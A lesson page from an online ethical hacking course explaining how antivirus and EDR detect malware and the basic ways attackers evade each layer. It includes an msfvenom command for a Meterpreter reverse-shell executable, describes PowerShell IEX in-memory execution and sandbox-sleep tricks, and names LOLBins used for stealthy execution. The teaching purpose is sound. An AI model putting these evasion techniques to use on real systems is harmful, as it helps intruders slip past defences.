AV Evasion Basics 2026 — Signature vs Behaviour Detection and Bypass Techniques | Hacking Course Day33

AV Evasion Basics 2026 — Signature vs Behaviour Detection and Bypass Techniques | Hacking Course Day33
🛡️ ETHICAL HACKING COURSE
FREE

Part of the Free Ethical Hacking Course

Day 33 of 180 · 18% complete

AV Evasion Basics for 2026 :— Day 32 showed how to escalate privileges on a compromised Windows host. Day 33 addresses the problem that comes before privilege escalation in a real engagement: actually landing the payload without getting caught. Antivirus detection has evolved significantly since the simple signature-scanning era. Modern endpoints run layered defences — signature scanners, behaviour monitors, and EDR systems with kernel-level API hooks sending telemetry to cloud analytics. Understanding how each layer detects threats, and where each layer fails, is foundational knowledge for penetration testing teams assessing whether an organisation’s endpoint defences would stop a real attacker. This lesson builds that mental model from first principles.

🎯 What You’ll Master Today

How signature-based detection works and exactly which payload characteristics it matches against
How behaviour-based detection monitors runtime API calls and process relationships
Why in-memory execution evades file-based signature scanning
The fundamental difference between traditional AV and modern EDR capabilities
The conceptual framework for AV evasion — what Day 34 payload obfuscation builds on

⏱️ 45 min · 3 exercises · VM lab environment

📋 Prerequisites — Complete Before Day 33


The Endpoint Security Detection Stack

Understanding AV evasion requires understanding what you’re evading. Modern endpoint security is not a single tool with a single detection mechanism — it is a layered stack with multiple independent detection approaches, each covering different aspects of malicious activity. An evasion technique that defeats one layer may still be caught by another. The penetration tester’s goal is not to find the one perfect technique, but to understand which layers are deployed, what each layer detects, and how to measure whether evasion has succeeded or failed in the specific target environment.

The typical enterprise endpoint in 2026 runs three to four overlapping detection layers: signature-based static analysis (scanning files before execution), behaviour-based dynamic analysis (monitoring what processes do at runtime), memory scanning (detecting injected code in running processes), and in some cases application control (allowlisting approved executables). Each layer has strengths and gaps. The gap between signature detection and behaviour detection is the space that basic AV evasion occupies. The gap between behaviour detection and memory scanning is where more advanced evasion sits.

securityelites.com
Endpoint Security Detection Stack — Layers and Gaps
Layer 1: Signature Scanning (file on disk)
Detects: known malware files · Misses: encoded/obfuscated/novel payloads · In-memory: not applicable

Layer 2: Behaviour Monitoring (runtime API calls)
Detects: suspicious API chains, process injection · Misses: legitimate API use, sleep/evasion · In-memory: partly detects

Layer 3: Memory Scanning (injected code detection)
Detects: shellcode in process memory, reflective DLL · Misses: well-obfuscated/encrypted in-memory code

Layer 4: EDR Cloud Analytics (telemetry correlation)
Detects: multi-step attack chains across time · Highest coverage · Requires significant sophistication to evade

📸 The endpoint security detection stack showing four detection layers and the types of activity each catches. Effective evasion requires defeating all active layers — a payload that evades file signature scanning (Layer 1) but triggers behaviour monitoring (Layer 2) is still caught. Understanding which layers are deployed in the target environment is the first step of any AV evasion assessment.


Signature-Based Detection — How It Works and Where It Fails

Signature-based detection is the oldest and most reliable form of AV detection for known threats. The AV vendor’s research team analyses malware samples, extracts identifying byte sequences or computes hashes of the full file or key sections, and adds these signatures to a database that ships to endpoint clients through definition updates. When the AV engine scans a file, it extracts the same byte patterns or computes the same hashes and compares against the signature database. A match triggers a detection and the file is quarantined or deleted.

The fundamental limitation of signature detection is that it only catches what the signature database contains — known threats. An attacker who creates a new variant of an existing tool by changing any part of the binary will produce different byte sequences and different hashes, defeating hash-based signatures. Even pattern-based signatures targeting specific byte sequences can be defeated by modifying the code around those sequences. This is why every major offensive security tool — Metasploit, Cobalt Strike, Mimikatz — is immediately detected by most AV products (their signatures are in every database), but a custom-compiled version of the same functionality may evade many products.

The signature detection failure modes that basic evasion exploits are: encoding (XOR or base64 transforms the byte values beyond the signature pattern range), compression (packing changes the binary structure entirely), code mutation (reordering instructions, adding dead code, changing variable names at the assembly level), and payload generation with random components (Metasploit’s encoder options try to randomise the generated shellcode).


Behaviour-Based Detection — API Monitoring and Heuristics

Behaviour-based detection shifted the detection target from “what a file looks like” to “what a process does at runtime.” The AV/EDR agent hooks into the Windows operating system at the API level — intercepting calls to sensitive Windows API functions as they happen. When a process calls VirtualAlloc to allocate executable memory, then calls WriteProcessMemory to write data to that memory, then calls CreateRemoteThread to execute code in another process — this specific sequence of API calls matches the classic process injection pattern and triggers a behaviour-based detection regardless of whether any individual call is itself malicious.

Behaviour detection is significantly more robust against obfuscation than signature detection because it monitors what the code does, not what the code looks like. An XOR-encoded payload that evades static signature scanning will still trigger behaviour detection if it performs the same API call sequence at runtime. This is the key insight: encoding and obfuscation defeat Layer 1 (signature scanning) but do nothing to defeat Layer 2 (behaviour monitoring) because the decoded payload still makes the same API calls.

Behaviour detection failure modes are more sophisticated to exploit: using less suspicious API combinations (e.g. NtCreateSection + NtMapViewOfSection instead of VirtualAlloc + WriteProcessMemory), sleeping before executing payload to avoid sandbox time limits, checking whether a real user is present before executing (sandbox detection), and executing from within a process that is expected to make similar API calls (e.g. injecting into a legitimate security product).

🧠 EXERCISE 1 — THINK LIKE A HACKER (15 MIN · NO TOOLS)
Identify Which Detection Layer Catches Each Attack Scenario

⏱️ 15 minutes · Conceptual — no tools required

For each of the following attack scenarios, identify:
(A) Which detection layer(s) would catch it?
(B) Which layer(s) would miss it?
(C) What modification would allow it to evade the catching layer?

SCENARIO 1:
A penetration tester generates a standard Meterpreter reverse
shell executable with msfvenom -p windows/x64/meterpreter/reverse_tcp.
They copy the .exe to the target and try to execute it.
Detection analysis: signature? behaviour? memory?

SCENARIO 2:
The same payload is XOR-encoded using a custom encoder.
The resulting .exe has completely different byte patterns.
It is copied to disk and executed.
Detection analysis: which layers now catch it vs miss it?

SCENARIO 3:
The payload is never written to disk. Instead, a PowerShell
command downloads the encoded shellcode into memory and
uses .NET reflection to execute it directly.
Detection analysis: which layers now apply?

SCENARIO 4:
A Cobalt Strike beacon using HTTPS C2 with process injection
into a legitimate explorer.exe process, with API call patterns
that mimic normal browser network activity.
Detection analysis: which layers would catch this?

SCENARIO 5:
An attacker sleeps the payload for 90 seconds after execution
before performing any malicious API calls. The endpoint runs
a sandbox that times out malware samples after 60 seconds.
Detection analysis: which layer does this evade and why?

For each scenario, draw the detection chain and the evasion gap.

✅ ANSWER KEY — S1: Signature catches immediately (Meterpreter is in every AV database). S2: Signature misses (bytes changed by XOR). Behaviour catches at runtime (VirtualAlloc+WriteProcessMemory+CreateRemoteThread chain unchanged). S3: Signature misses (no file). Behaviour partially catches (API hooks still monitor in-memory calls). Memory scanning may catch the shellcode pattern in allocated memory. S4: All layers partially catch — EDR cloud analytics with UEBA (User Entity Behaviour Analysis) is the most likely to detect the full chain over time. Individual API calls look legitimate; the pattern over time does not. S5: Sandbox timeout evasion defeats the automated dynamic analysis sandbox, not the endpoint agent itself. The endpoint’s behaviour monitoring still runs in real-time during normal operation — sleeping 90 seconds only defeats offline sandboxes, not live endpoint monitoring.

📸 Draw your detection chain diagram for all 5 scenarios. Post to #day-33-av-evasion on Discord.


In-Memory Execution — Why It Evades File-Based Scanning

In-memory execution is one of the most effective evasion techniques against traditional AV because it targets the primary detection surface: files on disk. If a payload is never written to disk — if it only ever exists as bytes in the process’s RAM — then signature scanners that analyse files have nothing to scan. The payload is downloaded from the network or generated dynamically, loaded directly into executable memory, and run without persisting to the file system.

PowerShell’s Invoke-Expression (IEX) combined with Invoke-WebRequest or .NET’s System.Net.WebClient is the most commonly used in-memory execution path in real-world attacks and penetration tests. The payload is served from the attacker’s HTTP server as a string, downloaded to a variable in the PowerShell session, and executed with IEX — all in memory, no disk write. The Windows Event Log records the PowerShell command but the payload itself never touches the file system.

Modern EDR addresses in-memory execution through two mechanisms: PowerShell’s ScriptBlock Logging captures the decoded content of all PowerShell commands (including IEX payloads) to the Event Log; and Antimalware Scan Interface (AMSI) hooks into scripting runtimes (PowerShell, JScript, VBA) to scan code at runtime before execution, giving the AV engine visibility into the decoded payload content regardless of encoding.

securityelites.com
In-Memory Execution — Detection Coverage Map
Technique
Traditional AV
EDR

Binary .exe on disk
Catches (signature)
Catches

Encoded .exe on disk
May miss (sig changed)
Catches (behaviour)

PowerShell IEX in-memory
Misses (no file)
AMSI scans at runtime

Reflective DLL injection
Misses (no disk write)
Memory scan may catch

📸 Detection coverage matrix for different payload delivery techniques. Moving from disk-based to in-memory execution dramatically reduces traditional AV coverage — no file means no file signature scan. EDR’s AMSI integration and memory scanning close much of this gap by scanning code at runtime and monitoring process memory. The table shows why each advance in evasion technique requires a corresponding advance in detector capability.


Traditional AV vs Modern EDR — The Capability Gap

Traditional antivirus was designed in an era of known-malware threat models — the primary risk was users downloading infected files. The corresponding detection approach (signature scanning of files) was highly effective against that threat model. The shift to targeted attacks, living-off-the-land techniques, and fileless malware exposed the gap between this capability and actual enterprise threat coverage.

EDR (Endpoint Detection and Response) emerged to close this gap with four additional capabilities beyond traditional AV. Kernel-level API hooking gives EDR visibility into every sensitive Windows API call — not just detecting known call sequences, but logging all API activity for forensic analysis. Continuous telemetry sends process activity data to a cloud analytics platform in near-real-time, enabling detection of attack chains that span hours or days across multiple processes. Memory scanning actively scans process memory at intervals and on-write to detect injected shellcode patterns. Response capability — the R in EDR — allows security teams to remotely isolate a compromised endpoint, kill processes, and collect forensic artefacts.

For penetration testers, the practical implication is clear: techniques that evade traditional AV (encoding, packing, in-memory execution) have significantly reduced effectiveness against modern EDR. Evading EDR requires avoiding behaviourally suspicious API patterns, using legitimate system tools for execution (living off the land), operating from within trusted processes, and minimising the attack footprint to avoid triggering telemetry-based detection. Day 34 (payload obfuscation) and subsequent lessons in the course build these advanced techniques incrementally.

⚡ EXERCISE 2 — KALI TERMINAL (15 MIN)
Test Standard Payloads Against VirusTotal — See What Gets Caught

⏱️ 15 minutes · Kali Linux + VirusTotal (browser)

GENERATE TEST PAYLOADS — SIGNATURE ANALYSIS
# Generate a standard msfvenom payload (EICAR-equivalent for this exercise)
# WARNING: Only generate on YOUR OWN test machine — never upload real C2 IPs to VT
# Use a placeholder IP for analysis purposes
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f exe -o /tmp/test_plain.exe 2>/dev/null
# Check file type and size
file /tmp/test_plain.exe
ls -lh /tmp/test_plain.exe
# Get SHA256 hash — can search VT for this hash without uploading
sha256sum /tmp/test_plain.exe
# IMPORTANT: Search VT by hash, DO NOT upload — uploading shares with AV vendors
# Go to virustotal.com > Search tab > paste SHA256 hash
# If no results found (hash not known to VT): don’t upload
# Note: standard msfvenom output is already in VT database — search returns results
# Alternative: generate a safe test file with string mutations only
strings /tmp/test_plain.exe | grep -i “meterpreter\|metasploit\|reverse\|payload” | head -10
# Shows the strings that AV signatures target in this payload

✅ What you just learned: The strings output reveals exactly which identifiable markers antivirus signatures target in a standard msfvenom payload. Strings like “meterpreter”, “reverse_tcp”, and Metasploit-specific function names are the byte patterns that produce the 60+ detection count on VirusTotal for any standard Metasploit output. Understanding what gets flagged — not just that it gets flagged — is the first step to understanding what needs to change for evasion. Day 34’s obfuscation techniques directly address these specific signatures by transforming the payload in ways that change these byte patterns while preserving functional behaviour.

📸 Screenshot the strings output showing identifiable payload markers. Post to #day-33-av-evasion on Discord.


Core AV Evasion Concepts for Pentesters

The practical framework for AV evasion in authorised penetration testing follows a consistent logic regardless of the specific tools or techniques involved. First, determine which detection layers are active on the target endpoints — this comes from scope documentation, client conversations, or preliminary recon. Second, design the payload delivery to defeat the active layers — if only traditional AV is present, encoding may be sufficient; if EDR is present, in-memory execution with API call care is required. Third, test in a controlled environment before deployment — never test evasion directly on production systems.

The core evasion concept categories are: static evasion (changing how the payload looks on disk — encoding, packing, custom compilation); dynamic evasion (changing what the payload does at runtime — alternative API calls, sleep evasion, sandbox detection); delivery evasion (how the payload reaches the target — living off the land, LOLBins, script-based delivery that avoids disk writes); and operational evasion (limiting activity footprint — minimal API calls, avoiding known signature patterns, staying within expected process behaviour).

Testing Ethics and VT Submissions: Never upload client payloads or payloads containing real C2 infrastructure to VirusTotal. VT is a public platform — uploads are shared with AV vendors who extract signatures, and the C2 IP or domain is indexed and can alert defenders or other researchers. Always test detection by hash lookup (not upload) for standard tools, and test custom payloads in an isolated offline sandbox like Cuckoo or Any.run configured with appropriate privacy settings. Your client’s confidentiality depends on not exposing C2 infrastructure to public scanning services.

🛠️ EXERCISE 3 — BROWSER (15 MIN · NO INSTALL)
Research Modern EDR Detection Techniques and Evasion Research

⏱️ 15 minutes · Browser only

Step 1: Understand AMSI — the in-memory scanning interface
Search: “Windows AMSI Antimalware Scan Interface how it works”
Find Microsoft’s AMSI documentation on learn.microsoft.com
Note: which scripting engines does AMSI hook into?
What does AMSI check at runtime that traditional AV misses?

Step 2: Research ETW — Event Tracing for Windows in EDR
Search: “ETW Event Tracing Windows EDR detection 2024”
How does EDR use ETW to monitor process activity?
Why is ETW harder to bypass than userland API hooking?

Step 3: Find a real-world LOLBIN used for AV evasion
Search: “living off the land binaries LOLBAS av evasion”
Go to lolbas-project.github.io
Find one Windows built-in binary (LOLBin) that can execute
arbitrary code without dropping a file on disk.
Note: which detection layer does this evade and why?

Step 4: Check current detection rates for common tools
Go to antiscan.me (privacy-respecting VT alternative)
OR search: “mimikatz detection rate 2026”
What percentage of AV engines detect standard Mimikatz?
What percentage detect an obfuscated variant?

Step 5: Read one recent AV evasion research blog post
Search: “AV EDR evasion research 2025 2026 blog”
Find one published research post (not a hacking tutorial).
What was the evasion technique? Which EDR was tested?
What was the detection rate before and after the technique?

✅ What you just learned: AMSI closed the “no file = no scan” gap that made PowerShell IEX evasion reliable until Windows 10. ETW provides EDR with kernel-level visibility that is harder to circumvent than userland hooks because tampering with ETW requires kernel access (which triggers its own detection events). The LOLBin research establishes that attackers can use trusted Windows components — mshta.exe, regsvr32.exe, certutil.exe — to execute code in ways that look like normal system administration, evading application allowlisting. The detection rate research makes the arms race concrete: standard Mimikatz is caught by 60+ engines; an obfuscated variant may be caught by 10–15 — evasion reduces detection but does not eliminate it at the EDR layer.

📸 Screenshot the LOLBIN you found and its execution method. Post to #day-33-av-evasion on Discord. Tag #day33complete

securityelites.com
AV Evasion Categories — Technique vs Target Layer
Evasion CategoryTechnique ExamplesDefeats Layer
Static evasionXOR encode, pack, custom compileLayer 1 (signature)
Dynamic evasionAlt API calls, sleep, sandbox detectLayer 2 (behaviour)
Delivery evasionLOLBins, IEX, reflective loadLayer 1 + partial Layer 2
Operational evasionMinimal footprint, trusted processLayer 3+4 (EDR telemetry)
📸 AV evasion technique categories mapped to the detection layer each targets. Each row in this table represents a different phase of the arms race: vendors add Layer 1 signatures, attackers develop static evasion; vendors add Layer 2 behaviour hooks, attackers develop dynamic evasion; vendors deploy EDR with memory scanning and telemetry, attackers need operational evasion combining all prior techniques. Understanding which category addresses which layer guides the evasion selection for each engagement based on which layers are deployed.


The AV Evasion Testing Workflow

In an authorised penetration test where AV bypass is in scope, the workflow follows a structured approach that prioritises client safety and evidence quality. The first step is threat intelligence: understand which AV and EDR products are deployed on the target endpoints. This comes from the scoping document, pre-engagement interviews, or sometimes from enumeration early in the test. The AV product family determines which detection capabilities are active and which published bypass techniques are relevant.

The second step is controlled testing in an isolated environment that mirrors the target. If the client uses CrowdStrike Falcon, the penetration tester should test their payload against a CrowdStrike-protected VM before deploying to the production test environment. This prevents detection events on the production system before the team is ready, preserves the element of surprise for the final payload test, and produces more useful findings (confirmed bypass vs confirmed detection) than an ad hoc approach.

The final step is documented evidence collection. AV evasion findings require particularly clear documentation: the exact payload (hash), the detection environment (AV product + version + definition date), the test result (detected at which layer, or evaded), and the recommended remediation. Day 34 continues with the specific obfuscation and encoding techniques that implement this framework in practice.

⚠️ AV Bypass ≠ Scope Unless Explicitly Stated: Many organisations’ penetration test scope documents include general “test web applications and network infrastructure” language without explicitly including endpoint security bypass. If AV/EDR bypass testing is not explicitly listed as in scope, do not test it — contact the client to clarify scope. Bypassing endpoint security controls can trigger incident response, cause business disruption, and violate the engagement agreement even on authorised targets. Always get explicit written confirmation before testing AV evasion in any engagement.

🧠 QUICK CHECK — AV Evasion Basics

A penetration tester XOR-encodes a Meterpreter payload, changing all its byte patterns so that no AV signature matches. They test on a modern endpoint running CrowdStrike Falcon (an EDR). The payload still gets detected. Why?



📋 AV Evasion Mental Model — Day 33 Reference

Signature detectionScans files for known byte patterns — fast, reliable for known threats, blind to novel/encoded variants
Behaviour detectionMonitors runtime API calls — catches obfuscated payloads at execution, evadable with API alternatives
In-memory executionNo file = no file scan — but AMSI hooks scripting runtimes, EDR scans process memory
EDR vs AVEDR adds kernel API hooks + continuous telemetry + memory scanning — not bypassed by simple encoding
AMSIScans PowerShell/JScript/VBA content at runtime — closes the IEX in-memory evasion gap
LOLBinsWindows built-in tools (mshta, certutil, regsvr32) that execute code while looking like system admin

🏆 Mark Day 33 Complete — AV Evasion Basics

You now have the mental model for understanding why each evasion technique works and which detection layer it targets. Day 34 applies this framework with hands-on payload obfuscation techniques using Veil, Shellter, and custom encoding — the practical implementation of today’s conceptual foundation.


❓ Frequently Asked Questions — AV Evasion Basics 2026

What is AV evasion in ethical hacking?
Modifying a payload so antivirus and endpoint security products don’t detect it. In ethical hacking, it tests whether an attacker could deliver a payload through the deployed endpoint defences. Only legal on authorised targets with AV bypass explicitly in scope in the signed engagement agreement.
What is the difference between signature and behaviour detection?
Signature: scans files for known byte patterns — fast, fails against encoded/obfuscated/novel variants. Behaviour: monitors runtime API calls and process activity — catches encoded payloads at execution but can be evaded by using alternative API patterns. Defeating EDR requires evading both layers simultaneously.
What is in-memory execution and why does it evade AV?
Loading and running code directly in RAM without writing to disk. Traditional AV primarily scans files — no file means nothing to scan. Modern EDR addresses this with AMSI (scanning scripting runtime content at execution) and memory scanning (detecting injected shellcode in process memory).
What is the difference between AV and EDR?
Traditional AV: file signature scanning + basic behaviour monitoring. EDR adds: kernel-level API hooking, continuous telemetry to cloud analytics, memory scanning, and response capabilities. EDR is significantly harder to evade because it monitors behaviour at OS kernel level, not just file system level.
What tools do ethical hackers use for AV evasion?
Veil Framework (payload encoding/generation), Shellter (PE injection), Donut (.NET to shellcode), msfvenom with encoders (basic), and Cobalt Strike (commercial, full-featured). Day 34 covers Veil and hands-on obfuscation techniques. All tools require authorised scope to use in engagements.
Is AV evasion testing always in scope for pentests?
No — only when explicitly listed in the signed scope document. Many engagements exclude endpoint security bypass testing. Always confirm explicitly with the client before testing AV evasion. Testing without scope confirmation can trigger incident response and violate the engagement agreement.
← Previous

Day 32: Windows Privilege Escalation

Next →

Day 34: Payload Obfuscation Techniques

📚 Further Reading

  • Day 32: Windows Privilege Escalation — AV evasion delivers the payload; privilege escalation uses it. Day 32 and Day 33 form the delivery-then-escalation chain of the post-exploitation phase.
  • Day 34: Payload Obfuscation Techniques — The hands-on implementation of Day 33’s conceptual framework — Veil, Shellter, custom XOR encoding, and AMSI bypass techniques with exercises on your own VM lab.
  • Free Ethical Hacking Course Hub — Full 180-day course overview. Day 33 AV evasion sits within the post-exploitation phase sequence at Days 30–40.
  • LOLBAS Project — Living Off The Land Binaries and Scripts — Complete catalogue of Windows built-in binaries that can execute code, download files, or bypass controls — essential reference for understanding LOLBin-based evasion techniques.
  • Microsoft AMSI Documentation — Official AMSI documentation — how the Antimalware Scan Interface hooks into scripting runtimes and what it provides to AV/EDR engines for in-memory content scanning.
ME
Mr Elite
Owner, SecurityElites.com
The most useful thing I ever did for understanding AV evasion was spending a day generating payloads, testing them against different endpoint products in isolated VMs, and mapping exactly which detection each product used. Standard Meterpreter: caught by everything. XOR-encoded Meterpreter: caught by behaviour monitoring. In-memory PowerShell without AMSI bypass: caught by AMSI. The pattern became clear — each technique defeats a specific layer. The defenders add a new layer when the old one is consistently bypassed. The attackers develop techniques for the new layer. Understanding this arms race as a system, rather than memorising a list of tools, is what separates pentesters who stay current from those who wonder why their techniques stop working after two years.

Join free to earn XP for reading this article Track your progress, build streaks and compete on the leaderboard.
Join Free

Leave a Comment

Your email address will not be published. Required fields are marked *